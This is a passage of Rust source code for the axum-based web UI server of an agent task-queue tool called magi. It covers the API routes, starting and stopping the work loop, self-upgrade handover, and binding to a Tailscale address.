1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::ask::{self, Answer, Question, Questions};
118use crate::config::{Config, Update, UpdateMode};
119use crate::md;
120use crate::notices::{Notice, Notices};
121use crate::proc::Quiet as _;
122use crate::queue::{Queue, Task, title_from};
123use crate::run::{RunState, RunStatus};
124use crate::talk::{Talk, Talks};
125use crate::{daemon, git, report, repos, run, stats, talk, updater};
126
127pub const DEFAULT_PORT: u16 = 7878;
129
130const POLL: Duration = Duration::from_secs(1);
132
133const KEEPALIVE: Duration = Duration::from_secs(15);
137
138const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
149
150const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
153
154const LIST_DEFAULT: usize = 50;
158const LIST_MAX: usize = 500;
160
161const TITLE_MAX: usize = 72;
163
164const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
173
174const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
180
181const FILENAME_HEADER: &str = "x-filename";
185
186const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
209 font-src data:; base-uri 'none'; form-action 'none'; \
210 frame-ancestors 'self'";
211
212const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
213const APP_CSS: &str = include_str!("../assets/ui/app.css");
214const APP_JS: &str = include_str!("../assets/ui/app.js");
215
216#[derive(Debug, Clone, Copy, PartialEq, Eq)]
218pub enum Bind {
219 Auto,
221 Addr(IpAddr),
223}
224
225impl std::str::FromStr for Bind {
226 type Err = String;
227
228 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
232 if s.eq_ignore_ascii_case("auto") {
233 return Ok(Self::Auto);
234 }
235 s.parse()
236 .map(Self::Addr)
237 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
238 }
239}
240
241impl std::fmt::Display for Bind {
242 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
243 match self {
244 Self::Auto => f.write_str("auto"),
245 Self::Addr(addr) => write!(f, "{addr}"),
246 }
247 }
248}
249
250#[derive(Debug, Clone)]
252pub struct Opts {
253 pub bind: Bind,
255 pub port: u16,
257 pub repo: PathBuf,
259 pub open: bool,
262 pub merge: Option<String>,
270}
271
272impl Default for Opts {
273 fn default() -> Self {
274 Self {
275 bind: Bind::Auto,
276 port: DEFAULT_PORT,
277 repo: PathBuf::from("."),
278 open: false,
279 merge: None,
280 }
281 }
282}
283
284#[derive(Debug, Clone)]
290pub struct Ui {
291 queue: Queue,
292 questions: Questions,
293 notices: Notices,
296 talks: Talks,
297 runs: PathBuf,
298 home: PathBuf,
299 repo: PathBuf,
300 worktrees_root: PathBuf,
307 talk_turns: Arc<Mutex<TalkTurns>>,
315 resuming: Arc<Mutex<HashSet<String>>>,
323 repos_cache: repos::Cache,
327 merge: Option<String>,
329 looping: Arc<Mutex<LoopState>>,
331 launch: Launch,
343 #[cfg(test)]
346 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
347}
348
349#[cfg(test)]
369struct BusyQueueGate {
370 reached: tokio::sync::oneshot::Sender<()>,
371 release: std::sync::mpsc::Receiver<()>,
372}
373
374#[cfg(test)]
375impl std::fmt::Debug for BusyQueueGate {
376 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
377 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
378 }
379}
380
381impl Ui {
382 pub fn new(
384 queue: Queue,
385 questions: Questions,
386 talks: Talks,
387 runs: PathBuf,
388 home: PathBuf,
389 repo: PathBuf,
390 ) -> Self {
391 Self {
392 queue,
393 questions,
394 notices: Notices::at(home.join("notifications")),
395 talks,
396 runs,
397 home,
398 repo,
399 worktrees_root: run::default_worktree_root(),
403 talk_turns: Arc::default(),
404 resuming: Arc::default(),
405 repos_cache: repos::Cache::new(),
406 merge: None,
407 looping: Arc::default(),
408 launch: launch_daemon,
409 #[cfg(test)]
410 busy_queue_gate: Arc::default(),
411 }
412 }
413
414 pub fn open(repo: PathBuf) -> Self {
417 Self::new(
418 Queue::open(),
419 Questions::open(),
420 Talks::open(),
421 run::runs_root(),
422 run::home(),
423 repo,
424 )
425 }
426
427 #[must_use]
434 pub fn with_merge(mut self, merge: Option<String>) -> Self {
435 self.merge = merge;
436 self
437 }
438
439 #[must_use]
444 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
445 self.worktrees_root = root;
446 self
447 }
448
449 #[cfg(test)]
454 #[must_use]
455 fn with_launch(mut self, launch: Launch) -> Self {
456 self.launch = launch;
457 self
458 }
459
460 #[cfg(test)]
470 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
471 *self
472 .busy_queue_gate
473 .lock()
474 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
475 }
476
477 fn looping(&self) -> Arc<Mutex<LoopState>> {
479 Arc::clone(&self.looping)
480 }
481
482 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
489 if let Some(other) = foreign {
490 return Err(ApiError::conflict(format!(
491 "{} is already running the loop, so this one will not start a \
492 second: two loops on one queue race for the same claims and \
493 burn the agent quota twice over. Stop it where it was \
494 started.",
495 other.who()
496 )));
497 }
498 let mut state = self.lock_loop();
499 if state.live.as_ref().is_some_and(Live::alive) {
500 return Err(ApiError::conflict(format!(
501 "this magi web process (pid {}) is already running the loop",
502 std::process::id()
503 )));
504 }
505
506 let stop = daemon::Stop::new();
507 let opts = daemon::Opts {
511 repo: self.repo.clone(),
512 merge: self.merge.clone(),
513 worktrees_root: Some(self.worktrees_root.clone()),
520 ..daemon::Opts::default()
521 };
522 let launch = self.launch;
523 let looping = Arc::clone(&self.looping);
524 let handle = tokio::spawn({
525 let opts = opts.clone();
526 let stop = stop.clone();
527 async move {
528 let failure = match launch(opts, stop).await {
529 Ok(()) => None,
530 Err(e) => Some(format!("{e:#}")),
531 };
532 match &failure {
533 Some(why) => tracing::error!("the loop stopped: {why}"),
534 None => tracing::info!("the loop stopped"),
535 }
536 let mut state = lock_or_recover(&looping);
542 state.live = None;
543 state.last_error = failure;
544 state.rev += 1;
545 }
546 });
547 tracing::info!(
548 "the loop is now running in this process: repo {}, merge {}",
549 opts.repo.display(),
550 opts.merge.as_deref().unwrap_or("as the config says")
551 );
552 state.live = Some(Live { stop, handle, opts });
553 state.last_error = None;
556 state.rev += 1;
557 Ok(())
558 }
559
560 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
566 if let Some(other) = foreign {
567 return Err(ApiError::conflict(format!(
568 "the loop belongs to {}, and this process cannot stop it - \
569 stop it where it was started. A button that silently did \
570 nothing would be worse than this refusal.",
571 other.who()
572 )));
573 }
574 let mut state = self.lock_loop();
575 if !park {
578 state.resume_after_handover = false;
579 }
580 let Some(live) = state.live.as_ref() else {
581 return Ok(());
582 };
583 if live.stop.stopped() && (!park || live.stop.parking()) {
587 return Ok(());
588 }
589 if park {
590 live.stop.park();
591 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
592 } else {
593 live.stop.stop();
594 tracing::info!("the loop was asked to stop; a run in flight is finished first");
595 }
596 state.rev += 1;
597 Ok(())
598 }
599
600 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
607 let state = self.lock_loop();
608 let live = state.live.as_ref().filter(|live| live.alive());
611 LoopView {
612 running: live.is_some(),
613 stopping: live.is_some_and(|live| live.stop.finishing()),
614 parking: live.is_some_and(|live| live.stop.parking()),
615 owned: live.is_some(),
616 repo: live
617 .map_or(&self.repo, |live| &live.opts.repo)
618 .display()
619 .to_string(),
620 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
621 last_error: state.last_error.clone(),
622 daemon: DaemonView::of(reading),
623 }
624 }
625
626 fn resume_after_handover(&self, resume: bool) -> bool {
632 if !resume {
633 return false;
634 }
635 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
636 match self.start_loop(foreign) {
637 Ok(()) => true,
638 Err(e) => {
639 let why = format!(
640 "the loop could not be resumed after the upgrade: {}",
641 e.message
642 );
643 tracing::warn!("{why}");
644 let mut state = self.lock_loop();
645 state.last_error = Some(why);
646 state.rev += 1;
647 false
648 }
649 }
650 }
651
652 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
654 lock_or_recover(&self.looping)
655 }
656
657 fn is_thinking(&self, id: &str) -> bool {
663 self.talk_turns
664 .lock()
665 .is_ok_and(|turns| turns.live.contains(id))
666 }
667
668 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
687 self.claim_talk_turn(id, false)
688 }
689
690 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
693 self.claim_talk_turn(id, true)
694 }
695
696 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
697 let mut live = self
698 .talk_turns
699 .lock()
700 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
701 if !live.live.insert(id.to_owned()) {
702 if queued {
703 *live.queued.entry(id.to_owned()).or_default() += 1;
708 }
709 return Ok(None);
710 }
711 Ok(Some(TalkTurnGuard {
712 talk: id.to_owned(),
713 turns: Arc::clone(&self.talk_turns),
714 released: false,
715 }))
716 }
717
718 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
723 let mut live = self
724 .talk_turns
725 .lock()
726 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
727 if live.live.contains(id) {
728 return Ok(TalkTurnStart::Busy);
729 }
730 let talk = self.talks.get(id).map_err(ApiError::from)?;
731 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
732 return Ok(TalkTurnStart::Pending);
733 }
734 live.live.insert(id.to_owned());
735 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
736 talk: id.to_owned(),
737 turns: Arc::clone(&self.talk_turns),
738 released: false,
739 }))
740 }
741
742 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
749 let parking = {
750 let mut state = self.lock_loop();
751 let resume = state.resume_after_handover
761 || state
762 .live
763 .as_ref()
764 .is_some_and(|live| live.alive() && !live.stop.stopped());
765 state.resume_after_handover = resume;
766 let Some(live) = state.live.as_ref() else {
767 return Ok(None);
768 };
769 let busy = live.stop.busy_now();
770 live.stop.park();
771 state.rev += 1;
772 busy
773 };
774 Ok(if parking {
775 daemon::current_work(&self.home, jiff::Timestamp::now())
780 .into_iter()
781 .next()
782 .map(|c| c.run)
783 } else {
784 None
785 })
786 }
787
788 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
792 let mut live = self
793 .resuming
794 .lock()
795 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
796 if !live.insert(id.to_owned()) {
797 return Err(ApiError::conflict(format!(
798 "run {id} is already being resumed"
799 )));
800 }
801 Ok(ResumeGuard {
802 run: id.to_owned(),
803 resuming: Arc::clone(&self.resuming),
804 })
805 }
806
807 pub fn router(self) -> Router {
815 Router::new()
816 .route("/", get(index))
817 .route("/app.css", get(app_css))
818 .route("/app.js", get(app_js))
819 .route("/api/health", get(health))
820 .route("/api/loop", get(loop_get).post(loop_post))
821 .route("/api/upgrade", post(upgrade_post))
822 .route("/api/runs", get(runs_list))
823 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
824 .route("/api/runs/{id}/report", get(run_report))
825 .route("/api/runs/{id}/fold", post(run_fold))
826 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
827 .route("/api/runs/{id}/resume", post(run_resume))
828 .route("/api/queue", get(queue_list))
829 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
830 .route("/api/stats", get(stats_get))
831 .route("/api/repos", get(repos_list))
832 .route("/api/queue/{id}/hold", post(queue_hold))
833 .route("/api/queue/{id}/release", post(queue_release))
834 .route("/api/queue/{id}/priority", post(queue_priority))
835 .route("/api/queue/{id}/edit", post(queue_edit))
836 .route("/api/queue/{id}/done", post(queue_done))
837 .route("/api/questions", get(questions_list))
838 .route("/api/questions/{id}/answer", post(question_answer))
839 .route("/api/questions/{id}/say", post(question_say))
840 .route("/api/questions/{id}/panel", get(question_panel))
841 .route("/api/questions/{id}/panel/index.html", get(question_panel))
849 .route("/api/questions/{id}/panel/{name}", get(question_asset))
850 .route("/api/questions/{id}/asset/{name}", get(question_asset))
851 .route("/api/notifications", get(notifications_list))
852 .route("/api/notifications/read-all", post(notifications_read_all))
853 .route("/api/notifications/{id}/read", post(notification_read))
854 .route(
855 "/api/notifications/{id}/dismiss",
856 post(notification_dismiss),
857 )
858 .route("/api/talks", get(talks_list).post(talk_post))
859 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
860 .route("/api/talks/{id}/say", post(talk_say))
861 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
862 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
863 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
864 .route("/api/talks/{id}/close", post(talk_close))
865 .route("/api/talks/{id}/reopen", post(talk_reopen))
866 .route(
872 "/api/talks/{id}/attachments",
873 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
874 )
875 .route(
876 "/api/talks/{id}/attachments/{att}",
877 get(talk_attachment_get),
878 )
879 .route("/api/events", get(events))
880 .with_state(Arc::new(self))
881 }
882}
883
884#[derive(Debug)]
890struct TalkTurnGuard {
891 talk: String,
892 turns: Arc<Mutex<TalkTurns>>,
893 released: bool,
894}
895
896#[derive(Debug, Default)]
903struct TalkTurns {
904 live: HashSet<String>,
905 queued: HashMap<String, u64>,
906}
907
908enum TalkTurnStart {
911 Claimed(TalkTurnGuard),
912 Busy,
913 Pending,
914}
915
916impl TalkTurnGuard {
917 fn release(mut self, live: &mut TalkTurns) {
920 live.live.remove(&self.talk);
921 live.queued.remove(&self.talk);
922 self.released = true;
923 }
924}
925
926impl Drop for TalkTurnGuard {
927 fn drop(&mut self) {
928 if self.released {
929 return;
930 }
931 if let Ok(mut live) = self.turns.lock() {
932 live.live.remove(&self.talk);
933 live.queued.remove(&self.talk);
934 }
935 }
936}
937
938struct ResumeGuard {
940 run: String,
941 resuming: Arc<Mutex<HashSet<String>>>,
942}
943
944impl Drop for ResumeGuard {
945 fn drop(&mut self) {
946 if let Ok(mut live) = self.resuming.lock() {
947 live.remove(&self.run);
948 }
949 }
950}
951
952async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
962 const WINDOW: Duration = Duration::from_secs(10);
963 const GAP: Duration = Duration::from_millis(250);
964
965 let deadline = std::time::Instant::now() + WINDOW;
966 let mut said = false;
967 loop {
968 match tokio::net::TcpListener::bind(socket).await {
969 Ok(listener) => return Ok(listener),
970 Err(e)
971 if e.kind() == std::io::ErrorKind::AddrInUse
972 && std::time::Instant::now() < deadline =>
973 {
974 if !said {
975 said = true;
976 tracing::info!(
977 "{socket} is still held - waiting up to {}s for it, \
978 which is what a restart looks like from here",
979 WINDOW.as_secs()
980 );
981 }
982 tokio::time::sleep(GAP).await;
983 }
984 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
985 }
986 }
987}
988
989static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
992
993const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
995
996fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
998 value.is_some_and(|v| v == "1")
999}
1000
1001fn spawn_successor(resume: bool) -> Result<()> {
1019 let exe = std::env::current_exe().context("find this binary")?;
1020 let args: Vec<String> = std::env::args().skip(1).collect();
1021 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
1022
1023 let mut cmd = std::process::Command::new(&exe);
1024 if resume {
1025 cmd.env(RESUME_LOOP_ENV, "1");
1026 } else {
1027 cmd.env_remove(RESUME_LOOP_ENV);
1028 }
1029 cmd.args(&args)
1030 .stdin(std::process::Stdio::null())
1031 .stdout(std::process::Stdio::null())
1032 .stderr(std::process::Stdio::null());
1033 #[cfg(windows)]
1034 {
1035 use std::os::windows::process::CommandExt as _;
1036 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1039 }
1040 cmd.spawn().context("start the successor")?;
1041 Ok(())
1042}
1043
1044pub async fn serve(opts: Opts) -> Result<()> {
1069 let (addr, warning) = resolve_bind(&opts.bind);
1070 if let Some(warning) = warning {
1071 tracing::warn!("{warning}");
1072 }
1073
1074 report::set_color(false);
1080
1081 let repo = normalize_default_repo(opts.repo).await;
1082 let ui = Ui::open(repo).with_merge(opts.merge);
1083 let home = ui.home.clone();
1088 let repo = ui.repo.clone();
1089 updater::reconcile_after_restart(&home);
1094 tokio::spawn(run_update_recheck(repo, home.clone()));
1103 let looping = ui.looping();
1104 let socket = SocketAddr::new(addr, opts.port);
1105 let listener = bind_waiting(socket).await?;
1106 let url = format!("http://{addr}:{}", opts.port);
1107 tracing::info!(
1108 "magi web UI on {url} - there is no authentication, so anyone who can \
1109 reach this address can file and hold tasks: the tailnet is the \
1110 security boundary"
1111 );
1112 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1113 tracing::info!("resumed the loop the predecessor was running");
1114 } else {
1115 tracing::info!(
1116 "the queue loop is not running yet - start it from the UI, which is \
1117 the whole reason this process can: nothing in the queue moves until \
1118 something is running the loop"
1119 );
1120 }
1121 if opts.open {
1122 println!("{url}");
1126 }
1127
1128 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1131 let interrupted = async {
1132 if tokio::signal::ctrl_c().await.is_err() {
1133 std::future::pending::<()>().await;
1138 }
1139 };
1140 let handover = HANDOVER.notified();
1141 tokio::select! {
1142 joined = &mut served => match joined {
1143 Ok(outcome) => outcome.context("serve the web UI"),
1144 Err(e) => Err(e).context("the task serving the web UI ended"),
1145 },
1146 () = interrupted => {
1147 tracing::info!("shutting down the web UI");
1148 finish_loop(&looping).await;
1149 Ok(())
1150 }
1151 () = handover => {
1152 tracing::info!("upgraded - handing this address to the successor");
1153 hand_over(&home, &looping, served, spawn_successor).await
1154 }
1155 }
1156}
1157
1158async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1179 if repo != FsPath::new(".") {
1180 return repo;
1181 }
1182 let Ok(canonical) = repo.canonicalize() else {
1183 return repo;
1184 };
1185 if git::toplevel(&canonical).await.is_ok() {
1186 return repo;
1187 }
1188 let Some(home) = dirs::home_dir() else {
1189 return repo;
1190 };
1191 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1192 Some(found) => {
1193 tracing::info!(
1194 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1195 canonical.display(),
1196 found.path.display(),
1197 found.reason,
1198 );
1199 found.path
1200 }
1201 None => repo,
1202 }
1203}
1204
1205async fn hand_over(
1235 home: &FsPath,
1236 looping: &Mutex<LoopState>,
1237 served: tokio::task::JoinHandle<std::io::Result<()>>,
1238 successor: impl FnOnce(bool) -> Result<()>,
1239) -> Result<()> {
1240 if let Some(mut progress) = updater::read_progress(home) {
1241 progress.advance(updater::Stage::Parking);
1242 let _ = updater::write_progress(home, &progress);
1243 }
1244 finish_loop(looping).await;
1245 served.abort();
1246 let _ = served.await;
1247 let resume = lock_or_recover(looping).resume_after_handover;
1250 if let Some(mut progress) = updater::read_progress(home) {
1251 progress.advance(updater::Stage::Restarting);
1252 let _ = updater::write_progress(home, &progress);
1253 }
1254 successor(resume)
1255}
1256
1257async fn finish_loop(state: &Mutex<LoopState>) {
1264 let live = lock_or_recover(state).live.take();
1265 let Some(live) = live else { return };
1266 live.stop.stop();
1267 lock_or_recover(state).rev += 1;
1268 tracing::info!("waiting for the loop to finish the run in flight");
1269 let _ = live.handle.await;
1272}
1273
1274pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1280 match bind {
1281 Bind::Addr(addr) => (*addr, None),
1282 Bind::Auto => match tailscale_ip() {
1283 Ok(ip) => (IpAddr::V4(ip), None),
1284 Err(why) => (
1285 IpAddr::V4(Ipv4Addr::LOCALHOST),
1286 Some(format!(
1287 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1288 local-only and a phone cannot reach it; start Tailscale \
1289 or pass --bind <addr>"
1290 )),
1291 ),
1292 },
1293 }
1294}
1295
1296fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1304 let out = std::process::Command::new("tailscale")
1305 .args(["ip", "-4"])
1306 .quiet()
1307 .output()
1308 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1309 if !out.status.success() {
1310 let why = String::from_utf8_lossy(&out.stderr);
1311 let why = why.trim();
1312 return Err(format!(
1313 "`tailscale ip -4` failed ({}){}",
1314 out.status,
1315 if why.is_empty() {
1316 String::new()
1317 } else {
1318 format!(": {why}")
1319 }
1320 ));
1321 }
1322 String::from_utf8_lossy(&out.stdout)
1323 .lines()
1324 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1325 .find(is_tailnet)
1326 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1327}
1328
1329fn is_tailnet(ip: &Ipv4Addr) -> bool {
1331 let o = ip.octets();
1332 o[0] == 100 && (64..=127).contains(&o[1])
1333}
1334
1335type ApiResult<T> = std::result::Result<T, ApiError>;
1339
1340#[derive(Debug)]
1342struct ApiError {
1343 status: StatusCode,
1344 message: String,
1345}
1346
1347impl ApiError {
1348 fn bad_request(message: impl Into<String>) -> Self {
1350 Self {
1351 status: StatusCode::BAD_REQUEST,
1352 message: message.into(),
1353 }
1354 }
1355
1356 fn not_found(message: impl Into<String>) -> Self {
1358 Self {
1359 status: StatusCode::NOT_FOUND,
1360 message: message.into(),
1361 }
1362 }
1363
1364 fn with_status(mut self, status: StatusCode) -> Self {
1367 self.status = status;
1368 self
1369 }
1370
1371 fn bad_request_from(e: anyhow::Error) -> Self {
1375 Self::bad_request(format!("{e:#}"))
1376 }
1377
1378 fn conflict(message: impl Into<String>) -> Self {
1379 Self {
1380 status: StatusCode::CONFLICT,
1381 message: message.into(),
1382 }
1383 }
1384
1385 fn internal(message: impl Into<String>) -> Self {
1387 Self {
1388 status: StatusCode::INTERNAL_SERVER_ERROR,
1389 message: message.into(),
1390 }
1391 }
1392}
1393
1394impl From<anyhow::Error> for ApiError {
1395 fn from(e: anyhow::Error) -> Self {
1400 Self::internal(format!("{e:#}"))
1401 }
1402}
1403
1404impl IntoResponse for ApiError {
1405 fn into_response(self) -> Response {
1406 let body = serde_json::json!({ "error": self.message });
1407 (self.status, Json(body)).into_response()
1408 }
1409}
1410
1411async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1420where
1421 T: Send + 'static,
1422{
1423 match tokio::task::spawn_blocking(job).await {
1424 Ok(result) => result,
1425 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1426 }
1427}
1428
1429const ASSET_CACHE: &str = "no-cache, must-revalidate";
1447
1448fn asset_etag() -> &'static str {
1455 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1456 format!(
1457 "\"{}-{}\"",
1458 env!("CARGO_PKG_VERSION"),
1459 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1464 )
1465 });
1466 &TAG
1467}
1468
1469fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1471 [
1472 (header::CONTENT_TYPE, mime),
1473 (header::CACHE_CONTROL, ASSET_CACHE),
1474 (header::ETAG, asset_etag()),
1475 ]
1476}
1477
1478fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1486 let tag = asset_etag();
1487 let known = headers
1488 .get(header::IF_NONE_MATCH)
1489 .and_then(|v| v.to_str().ok())
1490 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1494 if known {
1495 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1496 }
1497 (asset_headers(mime), body).into_response()
1498}
1499
1500async fn index(headers: header::HeaderMap) -> Response {
1501 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1502}
1503
1504async fn app_css(headers: header::HeaderMap) -> Response {
1505 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1506}
1507
1508async fn app_js(headers: header::HeaderMap) -> Response {
1509 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1510}
1511
1512#[derive(Debug, Serialize)]
1514struct HealthView {
1515 version: &'static str,
1516 home: String,
1517 queue_rev: u64,
1518 runs_rev: u64,
1519 questions_rev: u64,
1531 talks_rev: u64,
1533 notifications_rev: u64,
1535 notifications_unread: usize,
1538 loop_rev: u64,
1543 runs_unreadable: usize,
1551 disk: DiskView,
1559 questions_open: usize,
1565 questions_needs_owner: usize,
1575 daemon: DaemonView,
1576 #[serde(rename = "loop")]
1582 looping: LoopView,
1583 update: UpdateView,
1590 upgrade: Option<UpgradeProgressView>,
1594}
1595
1596#[derive(Debug, Serialize)]
1603struct UpdateView {
1604 available: bool,
1606 to: Option<String>,
1608}
1609
1610#[derive(Debug, Serialize)]
1612struct UpgradeProgressView {
1613 stage: updater::Stage,
1614 from: String,
1615 to: Option<String>,
1616 waiting_on: Option<String>,
1619 started_at: Timestamp,
1620 updated_at: Timestamp,
1621 detail: Option<String>,
1622}
1623
1624fn should_spawn_recheck(cfg: &Update) -> bool {
1631 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1632}
1633
1634fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1646 if progress.is_some_and(|p| !p.stage.terminal()) {
1647 return false;
1648 }
1649 checker.should_check()
1650}
1651
1652fn recheck_poll_period(cfg: &Update) -> Duration {
1665 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1666}
1667
1668async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1692 loop {
1693 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1694 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1695 if !should_spawn_recheck(&cfg.update) {
1696 continue;
1697 }
1698 let Some(checker) = updater::Checker::new(&cfg.update) else {
1699 continue;
1700 };
1701 let progress = updater::read_progress(&home);
1702 if !update_recheck_due(&checker, progress.as_ref()) {
1703 continue;
1704 }
1705 if let Err(e) = checker.newer_release().await {
1706 tracing::warn!("background update recheck failed: {e:#}");
1707 }
1708 }
1709}
1710
1711fn cached_update_view(repo: &FsPath) -> UpdateView {
1717 let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1718 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1719 match latest {
1720 Some(latest) => UpdateView {
1721 available: true,
1722 to: Some(latest.tag_name),
1723 },
1724 None => UpdateView {
1725 available: false,
1726 to: None,
1727 },
1728 }
1729}
1730
1731fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1737 let waiting_on = (progress.stage == updater::Stage::Parking)
1738 .then_some(progress.parked_run.as_deref())
1739 .flatten()
1740 .and_then(|id| read_run(&ui.runs, id).ok())
1741 .map(|run| {
1742 format!(
1743 "run {} is finishing {} before the address is handed over",
1744 run.short(),
1745 run.status.as_str()
1746 )
1747 });
1748 UpgradeProgressView {
1749 stage: progress.stage,
1750 from: progress.from,
1751 to: progress.to,
1752 waiting_on,
1753 started_at: progress.started_at,
1754 updated_at: progress.updated_at,
1755 detail: progress.detail,
1756 }
1757}
1758
1759#[derive(Debug, Serialize)]
1764struct DiskView {
1765 #[serde(skip_serializing_if = "Option::is_none")]
1767 free_bytes: Option<u64>,
1768 runs_bytes: u64,
1770 worktrees_bytes: u64,
1772 #[serde(skip_serializing_if = "Option::is_none")]
1774 cache_bytes: Option<u64>,
1775}
1776
1777impl DiskView {
1778 fn of(ui: &Ui) -> Self {
1780 let cache_bytes = Config::discover(&ui.repo, None)
1781 .ok()
1782 .and_then(|(cfg, _)| cfg.cache_dir())
1783 .map(|dir| crate::disk::dir_size(&dir));
1784 Self {
1785 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1786 runs_bytes: crate::disk::dir_size(&ui.runs),
1787 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1788 cache_bytes,
1789 }
1790 }
1791}
1792
1793#[derive(Debug, Serialize)]
1795struct DaemonView {
1796 running: bool,
1797 idle: Option<bool>,
1798 pid: Option<u32>,
1799 current: Vec<daemon::Current>,
1803 completed: Option<u64>,
1804 stale_for_secs: Option<i64>,
1805}
1806
1807impl DaemonView {
1808 fn of(status: Option<daemon::Reading>) -> Self {
1812 let Some(status) = status else {
1813 return Self {
1814 running: false,
1815 idle: None,
1816 pid: None,
1817 current: Vec::new(),
1818 completed: None,
1819 stale_for_secs: None,
1820 };
1821 };
1822 let now = Timestamp::now();
1823 let age = status.age_secs(now);
1824 Self {
1825 running: status.running(now),
